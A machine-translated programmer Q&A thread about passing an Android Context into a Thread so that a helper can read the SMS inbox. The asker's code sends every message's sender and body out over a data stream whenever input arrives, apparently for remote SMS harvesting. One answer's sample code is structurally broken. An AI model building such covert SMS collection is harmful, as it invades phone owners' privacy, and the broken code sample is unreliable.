Java 从类传递上下文扩展线程

Java 从类传递上下文扩展线程,java,android,Java,Android,以前,我使用的是kelas1扩展服务,我的代码用于阅读收件箱。但是如果我的类使用的是kelas1扩展线程,我不知道如何让它工作 sms.inbox(kelas1.this,localDataOutputStream); 这是我的代码: kelas1.java public class kelas1 extends Thread { public void run() { //code while (true) { charsRead = in.read(buf

以前,我使用的是
kelas1扩展服务
,我的代码用于阅读收件箱。但是如果我的类使用的是
kelas1扩展线程
,我不知道如何让它工作

sms.inbox(kelas1.this,localDataOutputStream);
这是我的代码:

kelas1.java

public class kelas1 extends Thread {
public void run() {
    //code
    while (true) {

        charsRead = in.read(buffer);
        if (charsRead != 1) {
            String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
            Log.d("wew", message);

                // this is my problem
            sms.inbox(kelas1.this,localDataOutputStream);
    }

}
readsms.java

public class readsms {

    public void inbox(Context context, DataOutputStream outstr) throws IOException{
        Uri uriSMSURI = Uri.parse("content://sms/inbox");

          Cursor cur = context.getContentResolver().query(uriSMSURI, null, null, null,null);
          String sms = "";
          int body = cur.getColumnIndex("body");
          while (cur.moveToNext()) {
              sms += "Dari :" + cur.getString(2) + " : " + cur.getString(body);         
          }
          Log.d("wew", sms);
          sms = sms + "\nbaca sms selesai";
          outstr.writeBytes(sms);
    }
}

您需要活动类的上下文,因此在
kelas1

Context context;

public kelas1(Context context)
{
   this.context = context;
}
然后,在代码中必须使用以下上下文:

     sms.inbox(context,localDataOutputStream);
将代码更改为类似以下内容:

final Context context;
public class kelas1 extends Activity {

   public kelas1(Context context)
    {
       this.context = context;
       call_thread();   
    }

public void call_thread(){
        new Thread(new Runnable(){
         public void run() {
            while (true) {
                charsRead = in.read(buffer);
                if (charsRead != 1) {
                    String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
                    Log.d("wew", message);

                    // this is my problem
                        sms.inbox(this.context,localDataOutputStream);
                }
              }
           }).start();

        }
    }

为什么不使用服务或意图服务呢?您必须将上下文传递给类kelas1的构造函数并在那里使用它。我只是在后台使用funing的示例代码,以及类似的代码。OK。我试着换成服务,对不起@Raghunandan,你能给我一个示例代码吗?很抱歉我的英语不好,呵呵。\n您是否尝试过getActivity()或getApplicationContext()?您好,谢谢您的回复,我已经按照您的代码进行了操作,这使得另一个类必须更改。我有零钱,但仍然没有工作。也许我错了??before:public class servicenya扩展服务{Thread t=new kelas1();After:public class servicenya扩展服务{Thread t=new kelas1(servicenya.this);谢谢,我会尝试,我会再次评论结果。:DOk,记住这只是一个例子。你所需要的只是制作原创作品的背景。如果你将其更改为活动,请不要忘记将kelas1添加到AndroidManifest中!@kresekyou可以使用意图服务。Hy@Petro,你的第一个代码很完美!非常感谢!在我开始之前如果说不起作用,那是因为我的代码错了。在修复我的代码后,我把你的代码放进去,它就起作用了:D